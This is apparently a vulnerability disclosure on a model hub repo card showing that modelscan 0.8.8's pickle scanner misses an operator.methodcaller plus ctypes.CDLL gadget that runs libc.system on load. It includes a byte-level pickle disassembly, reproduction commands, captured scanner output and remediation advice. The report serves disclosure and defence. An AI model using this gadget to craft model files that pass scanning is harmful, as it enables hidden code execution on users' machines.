YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
modelscan 0.8.8 bypass: operator.methodcaller + ctypes.CDLL method-dispatch gadget (libc.system) scanned CLEAN while executing OS commands on pickle load
Target: modelscan β Protect AI
Version tested: 0.8.8 (latest release on PyPI at test time; pip index/PyPI JSON info.version == 0.8.8)
Component: modelscan.scanners.PickleUnsafeOpScan (pickle static opcode scanner)
Impact: Malicious pickle / joblib model file is reported "No issues found! π" (exit 0, zero issues) yet executes an arbitrary OS command (libc.system(...)) the moment the file is deserialized with pickle.load / joblib.load. Full remote code execution that defeats the scanner intended to prevent exactly this.
Class: CWE-502 (Deserialization of Untrusted Data) / scanner allowlist bypass.
Root cause
PickleUnsafeOpScan is a purely opcode/name-matching scanner. It does not model dataflow or method dispatch β it only collects (module, name) pairs emitted by GLOBAL / STACK_GLOBAL opcodes and compares each pair against a static allowlist in settings.py (DEFAULT_SETTINGS["unsafe_globals"]).
modelscan/tools/picklescanner.py:
def _build_scan_result_from_raw_globals(raw_globals, model, settings):
...
for rg in raw_globals:
global_module, global_name, severity = rg[0], rg[1], None
for severity_name in severities:
if global_module not in settings["unsafe_globals"][severity_name]:
continue # <-- (2) ctypes never in the dict -> skipped
filter = settings["unsafe_globals"][severity_name][global_module]
if filter == "*":
severity = severities[severity_name]
break
for filter_value in filter:
if filter_value in global_name: # <-- (1) substring match against allowlist
severity = severities[severity_name]
break
else:
continue
break
...
Two independent allowlist gaps combine into a self-contained RCE that references no denylisted global:
Gap 1 β operator allowlist is incomplete. settings.py denylists only operator.attrgetter (and builtins.getattr) to block the attribute-reach primitive:
# modelscan/settings.py
"operator": [
"attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
The filter check is if filter_value in global_name β "attrgetter" is not a substring of "methodcaller" (nor of "call"), so operator.methodcaller and operator.call sail through. Yet operator.methodcaller("system", arg)(obj) performs arbitrary method dispatch β obj.system(arg) β which is every bit as dangerous as attrgetter, and modelscan already recognized attribute-reach on operator as RCE-worthy.
Gap 2 β ctypes is entirely absent from unsafe_globals. Nothing in the ctypes module is flagged. ctypes.CDLL("libc.so.6") yields a live handle whose attributes resolve to arbitrary native libc functions (system, execl, ...).
The chain: operator.methodcaller("system", b"cmd")(ctypes.CDLL("libc.so.6")) evaluates to libc.system(b"cmd"). The dangerous call target (system) is reached by method dispatch on a live ctypes object at unpickling time β it is never a GLOBAL/STACK_GLOBAL operand, so the opcode-level scanner only ever sees the two benign-looking globals ("operator","methodcaller") and ("ctypes","CDLL"), neither of which is on the denylist, and returns clean.
PoC
Hand-assembled protocol-4 pickle, 158 bytes (poc/model.pkl, builder poc/build.py; identical bytes copied to poc/model.joblib). No dependency on any framework; uses only stdlib operator + ctypes.
Gadget: operator.methodcaller("system", CMD)(ctypes.CDLL("libc.so.6")) where CMD = b"touch /tmp/pwned_modelscan_methodcaller; id > /tmp/pwned_modelscan_methodcaller.out 2>&1".
The command argument is pushed as a bytes object via SHORT_BINBYTES (opcode C), so ctypes marshals it correctly as c_char_p when invoking system.
Disassembly (pickletools.dis):
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'operator'
12: \x8c SHORT_BINUNICODE 'methodcaller'
26: \x93 STACK_GLOBAL # operator.methodcaller
27: \x8c SHORT_BINUNICODE 'system'
35: C SHORT_BINBYTES b'touch /tmp/pwned_modelscan_methodcaller; id > /tmp/pwned_modelscan_methodcaller.out 2>&1'
125: \x86 TUPLE2
126: R REDUCE # mc = methodcaller("system", b"CMD")
127: \x8c SHORT_BINUNICODE 'ctypes'
135: \x8c SHORT_BINUNICODE 'CDLL'
141: \x93 STACK_GLOBAL # ctypes.CDLL
142: \x8c SHORT_BINUNICODE 'libc.so.6'
153: \x85 TUPLE1
154: R REDUCE # libc = CDLL("libc.so.6")
155: \x85 TUPLE1
156: R REDUCE # mc(libc) == libc.system(b"CMD")
157: . STOP
Reproduce:
python3 poc/build.py # writes poc/model.pkl (158 bytes) + prints disassembly
cp poc/model.pkl poc/model.joblib
modelscan -p poc/model.pkl # => "No issues found! π", exit 0
python3 -c "import pickle; pickle.load(open('poc/model.pkl','rb'))" # => command executed
Captured evidence (modelscan 0.8.8, Python 3.12.13 for scanner / 3.13.12 for load)
(a) BYPASS β scanner reports clean
$ modelscan -p model.pkl
Scanning .../poc/model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
# exit code 0
JSON report (-r json) β proves the file was genuinely scanned, not skipped:
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0},
"total_issues": 0, "input_path": "model.pkl", "modelscan_version": "0.8.8",
"scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []}
Same file as model.joblib also scans clean, exit 0 (No issues found! π).
(b) EXECUTION β payload runs on load
pickle.load (CPython 3.13.12):
load returned OK
marker exists: YES
id output: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
joblib.load:
joblib.load executed payload: True
(c) NEGATIVE CONTROL β proves the scanner works and this gadget is the bypass
A plain os.system __reduce__ pickle IS flagged:
$ modelscan -p control_ossystem.pkl
Total Issues: 1
Total Issues By Severity:
- CRITICAL: 1
--- CRITICAL ---
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
# exit code 1
The scanner correctly flags a conventional payload (exit 1) but misses the method-dispatch gadget (exit 0) β the difference is precisely the two allowlist gaps.
Suggested remediation
- Add
ctypestounsafe_globals("ctypes": "*", or at minimumCDLL,PyDLL,WinDLL,LibraryLoader,cast,memmove,memset). - Add
methodcallerandcallto theoperatordenylist alongsideattrgetterβ any callable that performs attribute/method dispatch on an arbitrary object must be treated likegetattr/attrgetter. - Structurally: a name-matching allowlist cannot see call targets reached through method dispatch on live objects. Consider flagging
REDUCE/STACK_GLOBALchains that construct callables fromoperator/functools/ctypesregardless of the top-level global name.
Dedup note
- Not an existing CVE. This is a method-dispatch gadget:
operator.methodcallerperformingsystemdispatch on actypes.CDLLobject, invoking a real native libc function with an in-picklebytesargument. The scanner sees only(operator, methodcaller)and(ctypes, CDLL)β both absent fromunsafe_globals. - Distinct from prior
operator.attrgetterdiscussions (that name IS denylisted;methodcaller/callare not, and the substring filter"attrgetter" in "methodcaller"is False). - Distinct from prior modelscan bypasses filed by this researcher (e.g. cprofile/timeit
runctx,posix_spawn/spawnvpass_fds,numpy.ctypeslib, memo/multi-pickle divergence, legacy multi-pickle, savedmodel/keras-meta, h5 lambda, genops) β different modules and a different primitive (method dispatch viaoperator.methodcalleronto actypesforeign-function handle). The two allowlist gaps (incompleteoperatorlist + wholly-absentctypes) are each independently necessary and together sufficient.